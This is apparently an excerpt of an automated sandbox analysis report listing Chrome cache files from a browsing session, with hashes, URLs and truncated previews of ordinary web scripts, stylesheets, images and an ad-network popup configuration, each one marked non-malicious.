SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, Unicode text, UTF-8 (with BOM) text, with very long lines (30321), with no line terminators
Category:	dropped
Size (bytes):	30325
Entropy (8bit):	5.527008051213335
Encrypted:	false
SSDEEP:	768:0Mj/MpQkZyCKrActVcEUXIeligWXA/C4/C3nuGEBtSWjvvBxz8eEsy1kPTbTsDEp:0MrM3EcZWXA6463nuGEBtSqvHQ1kPTX5
MD5:	D5D1F5155976C4AA1D5850FE242344CE
SHA1:	9359BE2696928C8D69A63335D072E6E5C32AACA7
SHA-256:	878776AFA22F8593C4D055795009A5ADDB0101C63CA3A3B8680701AC10EA7E9B
SHA-512:	703F28D234286CB9E964283B93A5474A13560F4D9F199828676A370B8FD2657576C6866F622E0682CE79B406951A8E2DE4C3D47797446CB574B4A5BF50481E69
Malicious:	false
Reputation:	low
Preview:	.(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[94346],{581204:(e,t,r)=>{"use strict";r.d(t,{ALLOWED_APP_SETTINGS_KEYS:()=>l,CONNECT_DOMAIN:()=>a,DEFAULT_DOMAIN:()=>d,DOMAIN_FILE_URL:()=>c,LANGUAGES:()=>u,LOGIN_DOMAIN:()=>o,MODAL_IFRAME_Z_INDEX:()=>h,OAUTH_DOMAIN:()=>s,VERSION:()=>n});const n="0.4.4",i="vk.com",o=`login.${i}`,s=`oauth.${i}`,a=`id.${i}`,d="vk.com",c="https://vk.ru/domain.txt",l=["agreements","promo","vkc_behavior","vkc_auth_action","vkc_brand","vkc_display_mode","service_groups","external_device_id"],u={RUS:0,UKR:1,ENG:3,SPA:4,GERMAN:6,POL:15,FRA:16,TURKEY:82},h=999999},867122:(e,t,r)=>{"use strict";var n;r.d(t,{CommonErrorReasons:()=>i,ERROR_CODES:()=>n}),function(e){e[e.UNKNOWN=1]="UNKNOWN",e[e.MISSING_PARAM=2]="MISSING_PARAM",e[e.CONNECTION_LOST=3]="CONNECTION_LOST",e[e.USER_DENIED=4]="USER_DENIED",e[e.INVALID_PARAMS=5]="INVALID_PARAMS",e[e.CUSTOM=6]="CUSTOM",e[e.LOADING_ERROR=7]="LOADING_ERROR",e[e.CONNECT_WINDOW_CLOSED=7]="CONNECT_WINDOW_CLOSED",e[e.C

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2183)
Category:	downloaded
Size (bytes):	2499
Entropy (8bit):	5.555523957151767
Encrypted:	false
SSDEEP:	48:vhIAi5UQvj+e8CjIHbtHqoxar6pIZ9HUIjkFDHk9y8CHAQxYK/JBL:q5Keb07LxamE1kQyyQxYKjL
MD5:	DC4E8E1621A0E540DC955F7840DC1CCC
SHA1:	B1B0E59C87E895E712A1F4BB93386FD67895A454
SHA-256:	22F989D5CC20446CB6C9CF5D2BEEFA088C64928238D1DA0AF1877DFEFD1BE190
SHA-512:	19D6F98905679ACBF0909A06887629C82AF523710BF7F8E1F16157877C97470CC09B94BF2EEE8603A0B8B49832A4A68EC64F3FCFAB5A4A8705962D5D64A47AD4
Malicious:	false
Reputation:	low
URL:	https://www.mycimalive.com/feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586995&data&_=1728945586996
Preview:	// API callback.jQuery11100049902415236919184_1728945586995({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blogger/2008","xmlns$georss":"http://www.georss.org/georss","xmlns$gd":"http://schemas.google.com/g/2005","xmlns$thr":"http://purl.org/syndication/thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":"...... ...... ......"},{"term":"........"},{"term":"........"},{"term":".... ... .. ....."},{"term":"..... .. ......"},{"term":"..... .... ...."},{"term":".... ........."},{"term":"..."},{"term":".... ..... .. ...."},{"term":"..... ...."},{"term":"...... ......."},{"term":"....... 2"},{"term":"..... ......"},{"term":".

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (51779), with no line terminators
Category:	dropped
Size (bytes):	51782
Entropy (8bit):	5.153135111356789
Encrypted:	false
SSDEEP:	1536:d15PlrkmqXmQmW997JCVD8wWOII9dwL9hgbGfidAorMcskfZ:v/+5CVDWdkfZ
MD5:	83EF25331A21F48E745008AE3CAEE311
SHA1:	85CF3DC7D3B5B0401AC4E438254CB5E0F352620B
SHA-256:	9799562D2512F38F6F97D30968DBD2121BA4491B1ADEF298E6B06401743DADB4
SHA-512:	44BDECDA060BAD565996F0657A71A25940E49593F3652EAFF9A3CE433F63895D91209F1C62BE25A28D415F444F2ED538164D96BFC868235B283B92ED721DD6BC
Malicious:	false
Reputation:	low
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[57407],{131425:(t,e,r)=>{r.d(e,{DragMoveEvent:()=>i,DragOutContainerEvent:()=>u,DragOutEvent:()=>c,DragOverContainerEvent:()=>d,DragOverEvent:()=>a,DragPressureEvent:()=>h,DragStartEvent:()=>o,DragStopEvent:()=>g,DragStoppedEvent:()=>m,isDragOverEvent:()=>l});var n=r(993019);class s extends n.AbstractEvent{constructor(t){super(t),this.data=t}get source(){return this.data.source}get originalSource(){return this.data.originalSource}get mirror(){return this.data.mirror}get sourceContainer(){return this.data.sourceContainer}get sensorEvent(){return this.data.sensorEvent}get originalEvent(){return this.sensorEvent?this.sensorEvent.originalEvent:null}}s.type="drag";class o extends s{}o.type="drag:start",o.cancelable=!0;class i extends s{}i.type="drag:move";class a extends s{get overContainer(){return this.data.overContainer}get over(){return this.data.over}}function l(t){return t.type===a.type}a.type="drag:over",a.can

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	downloaded
Size (bytes):	267792
Entropy (8bit):	5.279895984514942
Encrypted:	false
SSDEEP:	3072:4kaJ8ccm+xKHlxjHQzeEwZydCIHaeTd5bp+ydLf:4kaJ85cxjHQzeEwZydRHaeTd5bp+ydLf
MD5:	151EA3A923FA1C33CBD224ADCA16C72A
SHA1:	8B374B57A4568F9013F737290D2F00061F3F6C24
SHA-256:	FD88328531C00553DBA41B3EF470CBF52E9D69BDD2E84CA7E3D91287E21F46F1
SHA-512:	97F5497B78E82039315DB7AE9C8AA88CCE7D8DFBFE8684FF61743920525D7B39A2C14AA55C4D4A6295124190433051D7B92AA28FF889FA03A0E418DDDC45A2E3
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/css/al/lite.7b03ad77.css
Preview:	..audio_pl_snippet{border-radius:2px;border:solid 1px var(--steel_gray_100);background-color:#fff;min-width:160px;margin-bottom:15px}.audio_pl_snippet:last-child{margin-bottom:0}.wall_text .audio_pl_snippet,.copy_quote .audio_pl_snippet,.im_msg_media .audio_pl_snippet{margin-top:15px}.reply_text .audio_pl_snippet{margin:15px 0}.audio_pl_snippet .audio_pl_snippet__header{border-bottom:1px solid var(--steel_gray_80);position:relative;box-sizing:border-box}.audio_pl_snippet .audio_pl_snippet__header_inner{min-height:148px}.audio_pl_snippet .audio_pl_snippet__cover{float:left;overflow:hidden;width:150px;height:150px;margin-right:20px;background-image:url(data:image/svg+xml;charset=utf-8,%3Csvg%20height%3D%2272%22%20viewBox%3D%220%200%2072%2072%22%20width%3D%2272%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cg%20fill%3D%22none%22%20fill-rule%3D%22evenodd%22%3E%3Cpath%20d%3D%22m0%200h72v72h-72z%22%2F%3E%3Cpath%20d%3D%22m42.5%2018h-33c-.82842712%200-1.5.6715729-1.5%201.5s.671

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (33023), with no line terminators
Category:	dropped
Size (bytes):	33053
Entropy (8bit):	5.53658372179445
Encrypted:	false
SSDEEP:	768:t437Nz98kOIf7WU6g2e+YklbgtpoJBsccuK9Pa6DT1KZp/yjilFLFbbigLYm/ktp:lpskK9PaeoTH1Oo10p
MD5:	C25FDCE5A8111D6AA11E34B3B3784C3B
SHA1:	7EAFC982CE41F06A4BBF3ACCE28D3198630A70DF
SHA-256:	514DEDF22EE8E5F7CF6A37C060ED505C7F07DDD60AC41069F27EFD9517476ED9
SHA-512:	FB6C8E6FBB9ED0F2A559B9886050036377FFFE738B6EDEEC798D27BE26F3D7FBE8166B63EDCF4ACCF3282C9B42C8D76F64B525A381639E85B974A9A188590698
Malicious:	false
Reputation:	low
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[66234],{592423:(e,t,a)=>{a.d(t,{CaptchaType:()=>o,createCaptchaPopupService:()=>d});var o,s=a(32489),c=a(293721),n=a(418562),r=a(311606),i=a(621745);!function(e){e[e.IMAGE=0]="IMAGE",e[e.AUDIO=1]="AUDIO"}(o\|\|(o={}));const d=()=>{const e=(0,c.createGate)(),t=(0,s.createEvent)(),a=(0,s.createEvent)(),o=(0,s.createEvent)(),d=(0,s.createEvent)(),l=(0,s.createEvent)(),p=(0,s.createEvent)(),h=(0,s.createEvent)(),_=(0,s.createEvent)(),u=(0,s.createEvent)(),m=(0,s.createEvent)(),g=(0,s.createEvent)();(0,s.forward)({from:e.close,to:g});const v=(0,s.createStore)("");v.on(e.open,((e,{captchaImage:t})=>t));const f=(0,s.createStore)("");f.on(e.open,((e,{captchaTrack:t})=>t));const k=(0,s.createStore)("");k.on(e.open,((e,{deviceId:t})=>t));const b=(0,s.createStore)(null);b.on(e.open,(()=>"CAPTCHA_MODAL_ACTIVE")),b.on(m,(()=>null));const w=(0,s.createStore)(null);w.on(e.open,((e,t)=>t.platform));const y=(0,s.createStore)("");y

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (53274)
Category:	dropped
Size (bytes):	54548
Entropy (8bit):	5.742763871366912
Encrypted:	false
SSDEEP:	1536:jX2zGX4cuQZ2VrDwVwXNklTsOYXohtSmp:jrZc8wdjbmp
MD5:	E5EE0EDC72C797DD0D925EC2A9591D1E
SHA1:	AB53C9AD69A4439A904370EBDE066A36E9FDB62B
SHA-256:	3D2A0CD248EC0FF9534E4AE9FC9E9F5FDAB7B68787F058F78FBC40D25D864000
SHA-512:	FA4D3C7CE8E06131F31D9299F414983F92077EC02B4883D727B93E4BC99B3595C86B9382E7DB6A6351B7B9941D79BD8E5502A1710E2C5934125CB8829B8E0F96
Malicious:	false
Reputation:	low
Preview:	//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjogMywic291cmNlcyI6WyIiXSwic291cmNlc0NvbnRlbnQiOlsiICJdLCJuYW1lcyI6WyJjbG9zdXJlRHluYW1pY0J1dHRvbiJdLCJtYXBwaW5ncyI6IkFBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEifQ==.(function(){function Y(J){return J}var W=this\|\|self,L=function(J,u,V,g,K,n,P,p,G,q,U,F){for(U=(q=g,45);;)try{if(q==54)break;else if(q==17)q=G&&G.createPolicy?J:21;else{if(q==3)return U=45,p;if(q==21)return p;q==J?(U=44,p=G.createPolicy(n,{createHTML:a,createScript:a,createScriptURL:a}),q=3):q==V?(W.console[K](F.message),q=3):q==46?(U=45,q=u):q==u?q=W.console?V:3:q==g&&(p=P,G=W.trustedTypes,q=17)}}catch(h){if(U==45)throw h;U==44&&(F=h,q=46)}},a=function(J){return Y.call(this,J)};(0,eval)(function(J,u){return(u=L(48,81,50,89,"error","bg",null))&&J.eval(u.createScript("1"))===1?function(V){return u.createScript(V)}:function(V){return""+V}}(W)(Array(Math.random()*7824\|0).join("\n")+['//# sourceMappingURL=data:application/json;charset=utf-8;base64,ey

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=3, software=Google], progressive, precision 8, 300x169, components 3
Category:	downloaded
Size (bytes):	11247
Entropy (8bit):	7.930150009398769
Encrypted:	false
SSDEEP:	192:b5LwL1zQFJNBmxAEzfGvVMSmAbAwc2pVGJmcmC2Mr+K4osoS9LTJ//UT:KLBQFJN+fZAbNU1mwXbHS9HJY
MD5:	F44AC786FAB1EDE0DA80EC60C3EEC709
SHA1:	960F61847517DA9D9CCDB6E81FCF8B6F2CB3875B
SHA-256:	F2CB2CDA34525BE406A5575BD37976C5932BED47CEEBDC6D575DDB4CA3BD2938
SHA-512:	6B82D91378A051E7B33A87B222E007716FF8E0A254C25BF7DAB24877B25768799C5F2D3A3AE27B2BB938615AAEEA2F61F5FAB476A1D2EC36B3D438E4750F48D6
Malicious:	false
Reputation:	low
URL:	https://blogger.googleusercontent.com/img/a/AVvXsEgtpFcYsGsl5Crlj3BRaub4sS1wPYMeblwQkUk7ttnWFe1io1ox7ee6G2PDsa6n3mEUwEO1b6y7GCO2ALzAX45LZp5zX7E2chU_u2-OhgVrg-B95XGbbjq6KANBiayi5lXzNCGak4TUoYJgPFVk03Wv28KtbJTvuDka23dlPoIYCo1eNO0K3vjB7_muKJA=s1280
Preview:	......JFIF.............lExif..II.......1.......2...............i.......:.......Google............0220........,......................C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........,.."...............................................................................v...r.9.&t..<..%...n..l...G;Q.2..se....v...2.."$.IZ.>...z..".9..t....7..8n..\T....7"..s:.....v..m.....&..Z.......j.(....8.......Z.UTHT{..L..O....,....Q.{_(d.......!..&..?iA...&\.}W..}..z...t....:.../....J.e........b@.hV..R.u.i.h.N..<.7.-.1..b.>.@.....mKn6..........\|:r.\|..`....).Vv.SY..t.......j#...Yg...'=...Z...0.L(\|r..a,..P,..kk..q.\|.L..9..q...y......V4s.....T...F......QWc.....b..Du0...(H....Z[.."(...IEMf.C..lf9..;[Ti!..0.^...2.8......a....5/...[m...W.;\|na.A.rF.5.^.@f.!.S.X.RgW!...l..............X.~....{u.c....Y=..j....A...BYS.......d.....Q.......W........e.Y...fG....n...f..nk.]U.p0..9.l!....m...R)-.

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65532), with no line terminators
Category:	dropped
Size (bytes):	100534
Entropy (8bit):	5.42698346580827
Encrypted:	false
SSDEEP:	768:/0QYC1ykH+UQy5zh8RA7/4/1HMTENGNClIze9jK7TXomtpf/50JjhLyR3gGa/NIM:467/y21Xom354jhyhglqxPuu0Tlexo
MD5:	781858C6C533C2233D7FC83892577326
SHA1:	C1D3DC05EECB6182644D922A48993306F3D607EC
SHA-256:	71D795F47CB129B80F7FB42675A7066033A9F27D980FE97DEED3E9EFCE3FBE66
SHA-512:	050F66D4BAE8921C9F59B2AB5AAB1C62BCB5C1329174CBD722F4FFF578415436E2E9C8712E82981A46EF998D782196EDD2968D368D3AFD195E618D3B49808CD0
Malicious:	false
Reputation:	low
Preview:	.(()=>{var t,e={97665:(t,e,r)=>{"use strict";var n=r(30251),o=r(61933);class i{addEventListener(t,e){t in this.listeners\|\|(this.listeners[t]=[]),this.listeners[t].push(e)}removeEventListener(t,e){if(!(t in this.listeners))return;const r=this.listeners[t];for(let t=0,n=r.length;t<n;t++)if(r[t]===e)return void r.splice(t,1)}dispatchEvent(t){if(!(t.type in this.listeners))return;const e=e=>{e.call(this,t)},r=this.listeners[t.type];for(let t=0,n=r.length;t<n;t++)e(r[t]);return!t.defaultPrevented}constructor(){Object.defineProperty(this,"listeners",{value:{},writable:!0,configurable:!0})}}class s extends i{toString(){return"[object AbortSignal]"}dispatchEvent(t){"abort"===t.type&&(this.aborted=!0,"function"==typeof this.onabort&&this.onabort.call(this,t)),super.dispatchEvent(t)}constructor(){super(),this.listeners\|\|i.call(this),Object.defineProperty(this,"aborted",{value:!1,writable:!0,configurable:!0}),Object.defineProperty(this,"onabort",{value:null,writable:!0,configurable:!0})}}class

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (61366), with no line terminators
Category:	dropped
Size (bytes):	61369
Entropy (8bit):	5.56137125328157
Encrypted:	false
SSDEEP:	768:Hw7seaKE4E7STCU7y5aqMfalj2w4FnWisJNjLsPMCj7uGaXLKRDj9LQ6X0KoAm4s:AscE4E6J7UvG/Z8zV9zLn+/2Xk9ivuGx
MD5:	1992C05E3DCBEBA8BAA783F4F343CABF
SHA1:	80503D2E589F6AD00FD4FDE8F9C006E59B329A9D
SHA-256:	B728B276F12869487330FB0D11BEDE21B725647E5F8B5510958F8782991BE796
SHA-512:	594360867E187A25774EA5AA29DFDB3481F70CA586CB62962E11CC8BF1AF7476924CF57142D732C88DFA079F1A037E332695EBB6FF6F2792FF3254213ADFB6AE
Malicious:	false
Reputation:	low
Preview:	.(()=>{"use strict";var __webpack_modules__={475653:(e,_,t)=>{t.d(_,{default:()=>h});var o=t(593159),i=t(972332),s=t(575753),n=t(754866),l=t(939646);function r(e){if(!this.inited)return!1;if(e\|\|(e=window.event),this.isHorizontal){const _=Math.floor((this.contWidth()-this.scrollWidth)Math.min(1,(e.screenX-this.moveX)/(this.scrollbarSize-this.innerWidth-6)));(0,o.isFunction)(this.options.onScroll)&&this.options.onScroll(this.obj.scrollLeft-_,this),this.obj.scrollLeft=_}else{const _=Math.floor((this.contHeight()-this.scrollHeight)Math.min(1,(e.screenY-this.moveY)/(this.scrollbarSize-this.innerHeight-6)));(0,o.isFunction)(this.options.onScroll)&&this.options.onScroll(this.obj.scrollTop-_,this),this.obj.scrollTop=_}return this.update(!0),!1}function a(){return!!this.inited&&(this.moveY=this.moveX=this.isDown=!1,this.isOut&&this.contOut(),(0,i.removeEvent)(document,"mousemove",this.mouseMove),(0,i.removeEvent)(document,"mouseup",this.mouseUp),(0,n.setStyle)(document.body,"cursor","defaul

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	794
Entropy (8bit):	5.329000372349418
Encrypted:	false
SSDEEP:	24:3LOY7aNemRVc+u/rLOY7aNIwy96DGSSf7:bOEaNemRVc+uXOEaNIN0oD
MD5:	27FE6C28ABC9D684E38525B25CC1242E
SHA1:	CC9B56623B91A3422231719BE5EA61B90F9FBF03
SHA-256:	F5E5A9AC8A8293996AC2BBCC605EA27E2771DD8236801DE7DA91654E07C08D39
SHA-512:	009C86555B081E201A88B7B5F65D3B61A448027B5C2F7750018C07A194A0585E3A3FCDDC2425FB7053A189F1467BA1DF0565393CF5CADE2A15665EC6F39FDF41
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css2?family=Righteous&display=swap
Preview:	/* latin-ext /.@font-face {. font-family: 'Righteous';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/righteous/v17/1cXxaUPXBpj2rGoU7C9WhnGFucE.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin */.@font-face {. font-family: 'Righteous';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/righteous/v17/1cXxaUPXBpj2rGoU7C9WiHGF.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}.

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65321)
Category:	dropped
Size (bytes):	102749
Entropy (8bit):	4.78345465893919
Encrypted:	false
SSDEEP:	1536:0mMCMPMCMjMCM4MCMwMCM3sVMH709gbPMfjSFOTyPGuiprrlCP:4709gMGFiyPGuiprlCP
MD5:	AE737A19E46FD502BA9CBE9E33213861
SHA1:	A4B5D757AF122C49259D4398807E62D4CA6F2493
SHA-256:	5E0821588462D15B0FF8E911760FC041332C162E2E30AB4B1071BCC8EB6C8223
SHA-512:	A84C3D7955DB3C2976F5D3005377014EF44C88AB7FC3AC9BD85B2D02B8685E93BD1C4E1C61206CC8E98AAF7303F0FF489A6BED50872EE089F6D2290583813260
Malicious:	false
Reputation:	low
Preview:	/!. Font Awesome Free 6.4.2 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). * Copyright 2023 Fonticons, Inc.. */.fa{font-family:var(--fa-style-family,"Font Awesome 6 Free");font-weight:var(--fa-style,900)}.fa,.fa-brands,.fa-classic,.fa-regular,.fa-sharp,.fa-solid,.fab,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-classic,.fa-regular,.fa-solid,.far,.fas{font-family:"Font Awesome 6 Free"}.fa-brands,.fab{font-family:"Font Awesome 6 Brands"}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-2xs{font-size:.625em;line-height:.1em;vertical-align:.225em}.fa-xs{font-size:.75em;line-h

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	dropped
Size (bytes):	78670
Entropy (8bit):	5.211213458301385
Encrypted:	false
SSDEEP:	1536:NOKs3GUrClDARXgxYmST2Wuu3XDWvEP0yldrM1YPJlMUBBddrA19lei6q3JO5SEE:VsJ1RXoYLT2WuunDs83dA+PTMU1d8RNd
MD5:	658F13A26793B44AD392AC2FBAA60EF2
SHA1:	535DDE5B12089C894379274C241854DFAD199A3B
SHA-256:	F68F35CE41EA49F22E818F2B3A7BE27A18FD8BED19305600FAB107543AA6A406
SHA-512:	9D4BA05FF57EC99EF340A0C4DCB77C9CA5DDFFF026C333E9A96E4C82919F4168D58CF88C5D31B85B5546664F6E7DCACF54288668BFBB14E045B5F409E5DE8E16
Malicious:	false
Reputation:	low
Preview:	.(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[762],{442137:function(e,t,r){((e,t,r,n,o)=>{function a(e){return e&&"object"==typeof e&&"default"in e?e:{default:e}}function i(e,t,n,o){let a=[r.step.run({fn:e=>t(e)})];if(o&&a.unshift(o),n){let t=r.createNode({node:a}),o=e.graphite.id,i=n.additionalLinks,s=i[o]\|\|[];return i[o]=s,s.push(t),()=>{let e=s.indexOf(t);-1!==e&&s.splice(e,1),r.clearNode(t)}}{let t=r.createNode({node:a,parent:[e],family:{owners:e}});return()=>{r.clearNode(t)}}}function s(e,t){return t.displayName=e,t}function u(e,t){r.is.store(e)\|\|b("expect useStore argument to be a store");let o=v.default.useCallback((r=>i(e,r,t)),[e,t]),a=v.default.useCallback((()=>w(e,t)),[e,t]);return n.useSyncExternalStore(o,a,a)}function c(e,t){let o=r.is.unit(e),a={};o?a={unit:e}:"@@unitShape"in e?"function"==typeof e["@@unitShape"]?a=e["@@unitShape"]():b("expect @@unitShape to be a function"):a=e;let s=Array.isArray(a),u=v.default.useRef({stale:1,justSubscribed:0,scope:t}),[

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32132)
Category:	downloaded
Size (bytes):	93068
Entropy (8bit):	5.28051990432937
Encrypted:	false
SSDEEP:	1536:fYcvR3VhH37Ha7EmakRhIHAZkCDy08otU6myJXXxMZyYk0AjrzCqlKDh9YhnaTdl:fY8MaW2b+UELKTqnAdiq
MD5:	0652DA382B6FCEB033DFE2B6C06D4D11
SHA1:	002DA8CBE90FCF32FBDEBB72386125079E3805EE
SHA-256:	7FA0D5C3F538C76F878E012AC390597FAECAABFE6FB9D459B919258E76C5DF8E
SHA-512:	B329C7B3EACB836583544F54D281D52544430A2A9FB7AD06716396EED5F24B2F2822BD078E5DCAF60BFB06AFE04A3E0D0D5A5CE6F9AC364306189EADD95A5430
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js
Preview:	/! jQuery v1.9.0 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license /(function(e,t){"use strict";function n(e){var t=e.length,n=st.type(e);return st.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n\|\|"function"!==n&&(0===t\|\|"number"==typeof t&&t>0&&t-1 in e)}function r(e){var t=Tt[e]={};return st.each(e.match(lt)\|\|[],function(e,n){t[n]=!0}),t}function i(e,n,r,i){if(st.acceptData(e)){var o,a,s=st.expando,u="string"==typeof n,l=e.nodeType,c=l?st.cache:e,f=l?e[s]:e[s]&&s;if(f&&c[f]&&(i\|\|c[f].data)\|\|!u\|\|r!==t)return f\|\|(l?e[s]=f=K.pop()\|\|st.guid++:f=s),c[f]\|\|(c[f]={},l\|\|(c[f].toJSON=st.noop)),("object"==typeof n\|\|"function"==typeof n)&&(i?c[f]=st.extend(c[f],n):c[f].data=st.extend(c[f].data,n)),o=c[f],i\|\|(o.data\|\|(o.data={}),o=o.data),r!==t&&(o[st.camelCase(n)]=r),u?(a=o[n],null==a&&(a=o[st.camelCase(n)])):a=o,a}}function o(e,t,n){if(st.acceptData(e)){var r,i,o,a=e.nodeType,u=a?st.cache:e,l=a?e[st.expando]:st.expando;if(u[l]){if(t&&(r=n?u[l]:u[l].data)){st.isArray(t)?t=t.concat(

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	678
Entropy (8bit):	5.33451760804153
Encrypted:	false
SSDEEP:	12:YWyb5yWHREVTwXP+FWhvSC5x56JVGHw8XaPipz7zALiCPmkOrlv:Yt59REVTwXGshtv56Pt8XHcLiMmkOJ
MD5:	0BDF6CB0976847858AB1ED28E0DCC20D
SHA1:	7032FD1CEA9E39717D7A47D49744217C9F7DBD29
SHA-256:	7EA1FA4053816F367209E63DFCF27F75E25D9A835247694C8AA8387EEA536665
SHA-512:	DD8D9FFB15216A9750893B77FCF2FD9355784B7462EF2EEA80FC2F763B65100F2AA5E01532FC591B4A56BA19F0E93502CEAA4B490A1A1B8726FC7B3A497D472C
Malicious:	false
Reputation:	low
URL:	https://phicmune.net/zone?pub=0&zone_id=8165884&is_mobile=false&domain=sqsq2938.blogspot.com&var=&ymid=&var_3=&tg=0&sw=3.1.562&drf=https%3A%2F%2Fwww.mycimalive.com%2F&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTM0In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xMzQifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ==
Preview:	{"status":true,"code":"jsTagParameters","unsupported":false,"afterCloseDelay":3,"allowPopupIfHttpsDenied":true,"customParamsGeo":"us","customParamsIp":"216.52.183.150","domain":"https://jouteetu.net","forcePopup":true,"injections":null,"install_ctx":{"country_code":"us"},"resources":{},"mobileSupport":true,"popup":true,"popupHeight":310,"popupShow":true,"popupWidth":510,"pubZoneId":8165884,"key":{"id":789296303,"key":"BE3R3LXrc_Svtm3ZiBFkRduL_uMPYASTX9c5V7X1oyj8_LUJ4xZC8r_LgnNPVvS93lEkgx4Kdza7ZJFHVWks7WQ"},"swName":"sw.js","wildcardDomain":"agagaure.com","zoneId":8165884,"skinUrl":"/3bT/27mJf/defaultSkin.min.js","popupUrl":"/3bT/27mJf/popup.html","flags":{},"extra":{}}.

